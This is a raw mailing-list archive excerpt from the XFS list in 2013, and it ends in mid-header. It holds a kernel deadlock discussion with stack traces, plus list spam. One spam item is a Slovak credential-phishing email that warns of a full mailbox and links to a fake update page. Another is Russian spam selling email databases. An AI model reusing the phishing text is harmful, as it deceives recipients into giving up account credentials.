2YfYfq4Mul23LOn5rxpCyuB+CXYd2dPz/1tTwmfFV+PWTGYUz4U2NRiSvdlH8/c+knExLXt26QTj rpCfkDhULKCh7PVoe72qJNt2P/ecAAAAAAAABf6yBOxoSj8eUon690pn4x6qpJVj8dUP/nmsn48N bP18NcLFwF0+Xrp+uZYDBhCvJeS2rAfjfNhLEaXbT5jLLGkGQPm93GDLKWWZLx0hmPDVoLGgGkGo GsGwG1JLcWN/u4x/cixzB0Mnzje7n95lf+y4e5Lw9wuEYrYKHHDFijxJPSXhKCBMAk5IyqJcpDuQ tpt1DDXsn+428n7dkaWsm0H78L/a5VEhQJ5jEZorHu2/9aybguP4oYUEI3lVJaFAgP9MfKja8WZh L/ra+gadRYoEm53cAEEdUV8q5hGNoT/bozWNi0sJjqL3g4cj3JbJXm3jGsEcSCRPsHhR98OIzyMv +hO2cu1Q+A+/8ZDcTQr3b4EIzRtKcNoCbm91LcSK6jUJwYv8rlsm8vf+M9mxHiL/4/0jZlT//7Zn fy+6oB16RKqVUFVtskvgbzvdzw0dF3fAjq3bhpG5OFobGpqbTmCzc7wSKtcRAHeqSd7QPww2Fgoe NaHEXicvxihf95xf1//xxD17AEAHAA== ------=_NextPart_000_261F_01CEAF7F.8F2F9250-- From jeff.liu@oracle.com Thu Sep 12 01:27:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 82D367F4E for ; Thu, 12 Sep 2013 01:27:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 55C3A8F8039 for ; Wed, 11 Sep 2013 23:27:29 -0700 (PDT) X-ASG-Debug-ID: 1378967247-04bdf02f22f8c550001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id k7VULt6MtBs0OPDo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 23:27:28 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8C6RP8n014431 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 12 Sep 2013 06:27:26 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8C6RO2A019435 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 12 Sep 2013 06:27:24 GMT Received: from abhmt109.oracle.com (abhmt109.oracle.com [141.146.116.61]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8C6RN11027584; Thu, 12 Sep 2013 06:27:23 GMT Received: from [192.168.1.104] (/221.223.108.231) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Sep 2013 23:27:23 -0700 Message-ID: <52315EF0.1070804@oracle.com> Date: Thu, 12 Sep 2013 14:28:00 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [deadlock] AGI vs AGF ordering deadlocks References: <20130910073629.GA19103@dastard> <522ED124.4080502@oracle.com> X-ASG-Orig-Subj: Re: [deadlock] AGI vs AGF ordering deadlocks In-Reply-To: <522ED124.4080502@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1378967248 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140542 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/10/2013 03:58 PM, Jeff Liu wrote: > On 09/10/2013 03:36 PM, Dave Chinner wrote: > >> FOlks, >> >> I just got confirmation of a deadlock I suspected has existed for >> some time. A concurrent 16-way create and 16-way unlink just locked >> up with two threads looking like this: >> >> fs_mark D ffff88021bd931c0 3656 7204 7117 0x00000000 >> ffff8801e75293a8 0000000000000086 ffff88012c6d0000 ffff8801e7529fd8 >> ffff8801e7529fd8 ffff8801e7529fd8 ffff8802d32aae40 ffff88012c6d0000 >> ffff8801a2f79d40 7fffffffffffffff ffff8801ee733bb0 0000000000000002 >> Call Trace: >> [] schedule+0x29/0x70 >> [] schedule_timeout+0x149/0x1f0 >> [] __down_common+0x91/0xe8 >> [] __down+0x1d/0x1f >> [] down+0x41/0x50 >> [] xfs_buf_lock+0x40/0xf0 >> [] _xfs_buf_find+0x1d1/0x4d0 >> [] xfs_buf_get_map+0x35/0x180 >> [] xfs_buf_read_map+0x37/0x110 >> [] xfs_trans_read_buf_map+0x379/0x600 >> [] xfs_read_agf+0xa8/0x100 >> [] xfs_alloc_read_agf+0x6a/0x250 >> [] xfs_alloc_fix_freelist+0x4f0/0x5a0 >> [] xfs_alloc_vextent+0x440/0x840 >> [] xfs_ialloc_ag_alloc+0x13f/0x520 >> [] xfs_dialloc+0x121/0x2d0 >> [] xfs_ialloc+0x5b/0x7c0 >> [] xfs_dir_ialloc+0x9a/0x2f0 >> [] xfs_create+0x47d/0x6a0 >> [] xfs_vn_mknod+0xba/0x1c0 >> [] xfs_vn_create+0x13/0x20 >> [] vfs_create+0xb5/0xf0 >> [] do_last.isra.56+0x760/0xd10 >> [] path_openat+0xbe/0x620 >> [] do_filp_open+0x43/0xa0 >> [] do_sys_open+0x13c/0x230 >> [] SyS_open+0x22/0x30 >> [] system_call_fastpath+0x16/0x1b >> >> That a thread holding an AGI and blocking trying to get the AGF to >> do an inode chunk allocation. >> >> rm D ffff88021bd931c0 3048 7073 7063 0x00000000 >> ffff8802bc66d998 0000000000000086 ffff8802d32aae40 ffff8802bc66dfd8 >> ffff8802bc66dfd8 ffff8802bc66dfd8 ffff88012c6d5c80 ffff8802d32aae40 >> ffff8804091b2b00 7fffffffffffffff ffff8801b943c570 0000000000000002 >> Call Trace: >> [] schedule+0x29/0x70 >> [] schedule_timeout+0x149/0x1f0 >> [] __down_common+0x91/0xe8 >> [] __down+0x1d/0x1f >> [] down+0x41/0x50 >> [] xfs_buf_lock+0x40/0xf0 >> [] _xfs_buf_find+0x1d1/0x4d0 >> [] xfs_buf_get_map+0x35/0x180 >> [] xfs_buf_read_map+0x37/0x110 >> [] xfs_trans_read_buf_map+0x379/0x600 >> [] xfs_read_agi+0xaa/0x100 >> [] xfs_iunlink+0x8e/0x260 >> [] xfs_droplink+0x78/0x80 >> [] xfs_remove+0x331/0x420 >> [] xfs_vn_unlink+0x52/0xa0 >> [] vfs_unlink+0x9e/0x110 >> [] do_unlinkat+0x1a1/0x230 >> [] SyS_unlinkat+0x1b/0x40 >> >> And that's a thread that has just freed a directory block and so >> holds an AGF lock, and is trying to take the AGI lock to add the >> inode to the unlinked list. Everything else is now stuck waiting >> for log space because one of the two buffers we've deadlocked on >> here pins the tail of the log. >> >> The solution is to place the inode on the unlinked list before we >> remove the directory entry so that we keep the same locking order as >> inode allocation. >> >> I don't have time to look at this for at least a week, so if someone >> could work up solution that'd be wonderful... > > Although I can reproduce it for now, but it looks interesting to me. Sorry, s/can/can not/. > I'll take care of this problem. Still no luck to reproduce it on my poor laptop, so I have to release this for someone who can reproduce it and be interesting enough in fix it. :) Thanks, -Jeff From info@mail.sk Thu Sep 12 02:16:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BBF7D7F4E for ; Thu, 12 Sep 2013 02:16:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52970AC005 for ; Thu, 12 Sep 2013 00:16:16 -0700 (PDT) X-ASG-Debug-ID: 1378970172-04cbb02c3af51060001-w1Z2WR Received: from plesk.colobox.net (colobox.cloud.imagin.pl [85.10.235.76]) by cuda.sgi.com with ESMTP id mgYy2u5IycNh8Gyv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Sep 2013 00:16:13 -0700 (PDT) X-Barracuda-Envelope-From: info@mail.sk X-Barracuda-Apparent-Source-IP: 85.10.235.76 Received: by plesk.colobox.net (Postfix, from userid 33) id 6CCBCC0CD4; Thu, 12 Sep 2013 09:16:10 +0200 (CEST) Received: from 197.210.248.28 ([197.210.248.28]) by webmail.vsk-mining.com (Horde Framework) with HTTP; Thu, 12 Sep 2013 09:16:08 +0200 Message-ID: <20130912091608.197863f4knuv456g@webmail.vsk-mining.com> Date: Thu, 12 Sep 2013 09:16:08 +0200 From: webmail =?iso-8859-1?b?YWt0dWFsaXrhY2lh?= 2013 To: undisclosed-recipients:; Subject: =?iso-8859-1?b?VuE/ZW7t?= E-mail =?iso-8859-1?b?dT/tdmF0ZT9hOw==?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?iso-8859-1?b?VuE/ZW7t?= E-mail =?iso-8859-1?b?dT/tdmF0ZT9hOw==?= Content-Type: text/plain; charset=ISO-8859-1; DelSp="Yes"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Internet Messaging Program (IMP) H3 (4.3.11) X-Barracuda-Connect: colobox.cloud.imagin.pl[85.10.235.76] X-Barracuda-Start-Time: 1378970173 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140543 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 V=E1?en=ED: Webmail Subscriber Oznamujeme v=E1m, ?e v=E1? e-mailov=FD =FA?et presiahol skladovacie kapacity. Nebudete m=F4c? odosiela? a prij=EDma? e-maily a va?e e-mailov=FD =FA?et, bud=FA vymazan=E9 z n=E1?ho servera. Ak sa chcete tomut= o =20 probl=E9mu vyhn=FA?, kliknite: http://webmailupdate20323421.jimdo.com/ tpre aktualiz=E1ciu v=E1?ho =FA?tu. ?akujem. Management Team. From gracianunezluisfelipe@gmail.com Thu Sep 12 04:53:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.4 required=5.0 tests=FREEMAIL_FROM, HTML_IMAGE_RATIO_02,HTML_MESSAGE,MIME_HTML_ONLY,MIME_QP_LONG_LINE, T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7E3E97F4E for ; Thu, 12 Sep 2013 04:53:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0A3F1AC004 for ; Thu, 12 Sep 2013 02:53:43 -0700 (PDT) X-ASG-Debug-ID: 1378979619-04cb6c2e9df64180001-NocioJ Received: from wolf (189-210-130-37.static.axtel.net [189.210.130.37]) by cuda.sgi.com with SMTP id SVrZdetTJaj1hPbQ for ; Thu, 12 Sep 2013 02:53:39 -0700 (PDT) X-Barracuda-Envelope-From: gracianunezluisfelipe@gmail.com X-Barracuda-Apparent-Source-IP: 189.210.130.37 Received: from wolf[127.0.0.1] by wolf[127.0.0.1] (SMTPD32); Thu, 12 Sep 2013 04:53:42 -0500 Organization: Libros Reply-To: gracianunezluisfelipe@gmail.com Message-ID: <04a9921da17efa32e96665690011d716@gmail.com> From: "Jose Rodriguez" To: Subject: Te Invito al casino 440 Date: Thu, 12 Sep 2013 04:53:38 -0500 X-ASG-Orig-Subj: Te Invito al casino 440 MIME-Version: 1.0 Content-Type: text/html; charset="windows-1252" Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: 189-210-130-37.static.axtel.net[189.210.130.37] X-Barracuda-Start-Time: 1378979619 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.37 X-Barracuda-Spam-Status: No, SCORE=1.37 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE, MIME_HTML_ONLY, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140546 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars Documento sin t=EDtulo
AL=20 PORTADOR
Fecha=20 de vencimiento
31/12/2013
From hrflyqxl@uniserv.srv.br Thu Sep 12 06:16:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=HTML_FONT_LOW_CONTRAST, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DFF007F4E for ; Thu, 12 Sep 2013 06:16:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B25A0304043 for ; Thu, 12 Sep 2013 04:16:47 -0700 (PDT) X-ASG-Debug-ID: 1378984603-04bdf02f21f9fc10001-NocioJ Received: from host.totalit.az (smtp.totalit.az [94.20.20.128]) by cuda.sgi.com with ESMTP id 0oIkegE3uTKlwF7d (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Sep 2013 04:16:45 -0700 (PDT) X-Barracuda-Envelope-From: hrflyqxl@uniserv.srv.br X-Barracuda-Apparent-Source-IP: 94.20.20.128 Received: from [92.46.170.31] (port=19427 helo=xfxq) by host.totalit.az with esmtpa (Exim 4.80.1) (envelope-from ) id 1VK4t3-0007DU-Cu; Thu, 12 Sep 2013 16:16:38 +0500 Message-ID: From: =?windows-1251?B?x+jt4Ojk4CDA7eTw5eXi7eA=?= To: , , , , , , , , , Subject: =?windows-1251?B?yO3y5fDt5fIt8OXq6+Ds4CDk6/8gwuD45ePu?= =?windows-1251?B?IPPx7+X47e7j7iDh6Oft5fHgIQ==?= Date: Thu, 12 Sep 2013 15:16:28 +0400 X-ASG-Orig-Subj: =?windows-1251?B?yO3y5fDt5fIt8OXq6+Ds4CDk6/8gwuD45ePu?= =?windows-1251?B?IPPx7+X47e7j7iDh6Oft5fHgIQ==?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_1638_01CEAFCB.0D8672E0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-OutGoing-Spam-Status: No, score=-1.0 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - host.totalit.az X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - uniserv.srv.br X-Get-Message-Sender-Via: host.totalit.az: authenticated_id: info@qafqazpointhotel.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: smtp.totalit.az[94.20.20.128] X-Barracuda-Start-Time: 1378984604 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_FONT_LOW_CONTRAST, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.54 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar to background 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1638_01CEAFCB.0D8672E0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D0=E0=F1=F1=FB=EB=EA=E8 =E4=EB=FF =E1=E8=E7=ED=E5=F1=E0-=20 =ED=E5=E4=EE=F0=EE=E3=EE=E9 =E8 =ED=E0=E4=E5=E6=ED=FB=E9 =E2=E8=E4 =F0=E5= =EA=EB=E0=EC=FB =C2=E0=F8=E8=F5 =F2=EE=E2=E0=F0=EE=E2 =E8 =F3=F1=EB=F3=E3= . =CA=F0=E0=F2=EA=E8=E9 =EF=F0=E0=E9=F1-=EB=E8=F1=F2 =ED=E0 =F3=F1=EB=F3=E3= =E8: =C1=E0=E7=E0 =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2 - =CC=EE=F1=EA=E2=E0 (2.5 =EC= =EB=ED. =E0=E4=F0=E5=F1=EE=E2) - 4 000 =F0=F3=E1. =C1=E0=E7=E0 =F4=E8=E7. =EB=E8=F6=E0 - =CC=EE=F1=EA=E2=E0 (10 =EC=EB=ED. = =E0=E4=F0=E5=F1=EE=E2) - 12 000 =F0=F3=E1. =C1=EE=EB=FC=F8=E8=E5 =E1=E0=E7=FB =EF=EE =E2=F1=E5=E9 =D0=EE=F1=F1=E8=E8= (=F3=F2=EE=F7=ED=FF=E9=F2=E5 =F3 =EC=E5=ED=E5=E4=E6=E5=F0=E0) =CE=F2 500=F0=F3=E1/=EC=EB=ED. =EF=F0=E8 =E1=EE=EB=FC=F8=E8=F5 =E7=E0=EA=E0= =E7=E0=F5. =C0=EA=F6=E8=FF- =EF=F0=E8 =E7=E0=EA=E0=E7=E5 2=F5 =E1=E0=E7 =EE=E4=ED=EE= =E2=F0=E5=EC=E5=ED=ED=EE, 3=FE =F0=E0=F1=F1=FB=EB=E0=E5=EC =E1=EE=ED=F3=F1= =EE=EC! =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=E8 =EF=EE =F0=E0=F1=F1=FB=EB=EA=E0=EC =E8= =EF=F0=E8=E5=EC =E7=E0=EA=E0=E7=EE=E2: 8(926) 1~ 888~ 017 kk ------=_NextPart_000_1638_01CEAFCB.0D8672E0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
 =D0=E0= =F1=F1=FB=EB=EA=E8 =E4=EB=FF=20 =E1=E8=E7=ED=E5=F1=E0
=ED=E5=E4=EE=F0=EE=E3=EE=E9=  =E8 =ED=E0=E4=E5=E6=ED=FB=E9 =E2=E8=E4 =F0=E5=EA=EB=E0=EC=FB=20 =C2=E0=F8=E8=F5 =F2=EE=E2=E0=F0=EE=E2 = =E8 =F3=F1=EB=F3=E3.
=CA=F0=E0=F2=EA=E8=E9 =EF=F0= =E0=E9=F1-=EB=E8=F1=F2 =ED=E0=20 =F3=F1=EB=F3=E3=E8:
=C1=E0=E7=E0 =EA=EE=F0=EF=EE= =F0=E0=F2=E8=E2 - =CC=EE=F1=EA=E2=E0 (2.5 =EC=EB=ED.=20 =E0=E4=F0=E5=F1=EE=E2) - 4 000 =F0=F3=E1.
=C1=E0=E7=E0 =F4=E8=E7. =EB=E8= =F6=E0 - =CC=EE=F1=EA=E2=E0 (10 =EC=EB=ED. =E0=E4=F0=E5=F1=EE=E2) - 12 00= 0=20 =F0=F3=E1.
=C1=EE=EB=FC=F8=E8=E5 =E1=E0= =E7=FB =EF=EE =E2=F1=E5=E9 =D0=EE=F1=F1=E8=E8(=F3=F2=EE=F7=ED=FF=E9=F2=E5= =F3=20 =EC=E5=ED=E5=E4=E6=E5=F0=E0)
=CE=F2 500=F0=F3=E1/=EC=EB=ED= . =EF=F0=E8 =E1=EE=EB=FC=F8=E8=F5=20 =E7=E0=EA=E0=E7=E0=F5.
 =C0=EA=F6=E8=FF- =EF=F0= =E8 =E7=E0=EA=E0=E7=E5 2=F5 =E1=E0=E7=20 =EE=E4=ED=EE=E2=F0=E5=EC=E5=ED=ED=EE, 3=FE =F0=E0=F1=F1=FB=EB=E0=E5=EC =E1= =EE=ED=F3=F1=EE=EC!
 
=CA=EE=ED=F1=F3=EB=FC=F2=E0= =F6=E8=E8 =EF=EE =F0=E0=F1=F1=FB=EB=EA=E0=EC =E8 =EF=F0=E8=E5=EC=20 =E7=E0=EA=E0=E7=EE=E2: 8(926) 1~ 888~ 017
 
kk
------=_NextPart_000_1638_01CEAFCB.0D8672E0-- From tinguely@sgi.com Thu Sep 12 08:46:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 073447CBF for ; Thu, 12 Sep 2013 08:46:50 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id B08C0304043; Thu, 12 Sep 2013 06:46:46 -0700 (PDT) Message-ID: <5231C5C5.90606@sgi.com> Date: Thu, 12 Sep 2013 08:46:45 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: Dave Chinner , xfs@oss.sgi.com Subject: Re: [deadlock] AGI vs AGF ordering deadlocks References: <20130910073629.GA19103@dastard> <522ED124.4080502@oracle.com> <52315EF0.1070804@oracle.com> In-Reply-To: <52315EF0.1070804@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/12/13 01:28, Jeff Liu wrote: > On 09/10/2013 03:58 PM, Jeff Liu wrote: > >> On 09/10/2013 03:36 PM, Dave Chinner wrote: >> >>> FOlks, >>> >>> I just got confirmation of a deadlock I suspected has existed for >>> some time. A concurrent 16-way create and 16-way unlink just locked >>> up with two threads looking like this: >>> >>> fs_mark D ffff88021bd931c0 3656 7204 7117 0x00000000 >>> ffff8801e75293a8 0000000000000086 ffff88012c6d0000 ffff8801e7529fd8 >>> ffff8801e7529fd8 ffff8801e7529fd8 ffff8802d32aae40 ffff88012c6d0000 >>> ffff8801a2f79d40 7fffffffffffffff ffff8801ee733bb0 0000000000000002 >>> Call Trace: >>> [] schedule+0x29/0x70 >>> [] schedule_timeout+0x149/0x1f0 >>> [] __down_common+0x91/0xe8 >>> [] __down+0x1d/0x1f >>> [] down+0x41/0x50 >>> [] xfs_buf_lock+0x40/0xf0 >>> [] _xfs_buf_find+0x1d1/0x4d0 >>> [] xfs_buf_get_map+0x35/0x180 >>> [] xfs_buf_read_map+0x37/0x110 >>> [] xfs_trans_read_buf_map+0x379/0x600 >>> [] xfs_read_agf+0xa8/0x100 >>> [] xfs_alloc_read_agf+0x6a/0x250 >>> [] xfs_alloc_fix_freelist+0x4f0/0x5a0 >>> [] xfs_alloc_vextent+0x440/0x840 >>> [] xfs_ialloc_ag_alloc+0x13f/0x520 >>> [] xfs_dialloc+0x121/0x2d0 >>> [] xfs_ialloc+0x5b/0x7c0 >>> [] xfs_dir_ialloc+0x9a/0x2f0 >>> [] xfs_create+0x47d/0x6a0 >>> [] xfs_vn_mknod+0xba/0x1c0 >>> [] xfs_vn_create+0x13/0x20 >>> [] vfs_create+0xb5/0xf0 >>> [] do_last.isra.56+0x760/0xd10 >>> [] path_openat+0xbe/0x620 >>> [] do_filp_open+0x43/0xa0 >>> [] do_sys_open+0x13c/0x230 >>> [] SyS_open+0x22/0x30 >>> [] system_call_fastpath+0x16/0x1b >>> >>> That a thread holding an AGI and blocking trying to get the AGF to >>> do an inode chunk allocation. >>> >>> rm D ffff88021bd931c0 3048 7073 7063 0x00000000 >>> ffff8802bc66d998 0000000000000086 ffff8802d32aae40 ffff8802bc66dfd8 >>> ffff8802bc66dfd8 ffff8802bc66dfd8 ffff88012c6d5c80 ffff8802d32aae40 >>> ffff8804091b2b00 7fffffffffffffff ffff8801b943c570 0000000000000002 >>> Call Trace: >>> [] schedule+0x29/0x70 >>> [] schedule_timeout+0x149/0x1f0 >>> [] __down_common+0x91/0xe8 >>> [] __down+0x1d/0x1f >>> [] down+0x41/0x50 >>> [] xfs_buf_lock+0x40/0xf0 >>> [] _xfs_buf_find+0x1d1/0x4d0 >>> [] xfs_buf_get_map+0x35/0x180 >>> [] xfs_buf_read_map+0x37/0x110 >>> [] xfs_trans_read_buf_map+0x379/0x600 >>> [] xfs_read_agi+0xaa/0x100 >>> [] xfs_iunlink+0x8e/0x260 >>> [] xfs_droplink+0x78/0x80 >>> [] xfs_remove+0x331/0x420 >>> [] xfs_vn_unlink+0x52/0xa0 >>> [] vfs_unlink+0x9e/0x110 >>> [] do_unlinkat+0x1a1/0x230 >>> [] SyS_unlinkat+0x1b/0x40 >>> >>> And that's a thread that has just freed a directory block and so >>> holds an AGF lock, and is trying to take the AGI lock to add the >>> inode to the unlinked list. Everything else is now stuck waiting >>> for log space because one of the two buffers we've deadlocked on >>> here pins the tail of the log. >>> >>> The solution is to place the inode on the unlinked list before we >>> remove the directory entry so that we keep the same locking order as >>> inode allocation. >>> >>> I don't have time to look at this for at least a week, so if someone >>> could work up solution that'd be wonderful... >> >> Although I can reproduce it for now, but it looks interesting to me. > > Sorry, s/can/can not/. > >> I'll take care of this problem. > > Still no luck to reproduce it on my poor laptop, so I have to release > this for someone who can reproduce it and be interesting enough in fix > it. :) > > Thanks, > -Jeff Internal testing hit something similar using tar/rm on Linux 3.0-stable. There are several threads going after each buffer, but if memory is correct, it was 2 removes that deadlocked. I set it aside to work on the Linux 3.12 series, I will take a look at this some more. --Mark. From tinguely@eagdhcp-232-140.americas.sgi.com Thu Sep 12 09:05:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3D3DB7F4E for ; Thu, 12 Sep 2013 09:05:52 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 112F28F8039; Thu, 12 Sep 2013 07:05:48 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8CE5mcU002610; Thu, 12 Sep 2013 09:05:48 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8CE5lCf002609; Thu, 12 Sep 2013 09:05:47 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130912140127.489098296@sgi.com> User-Agent: quilt/0.51-1 Date: Thu, 12 Sep 2013 09:01:23 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Cc: Dan Carpenter Subject: [PATCH] xfs: remove dead code from 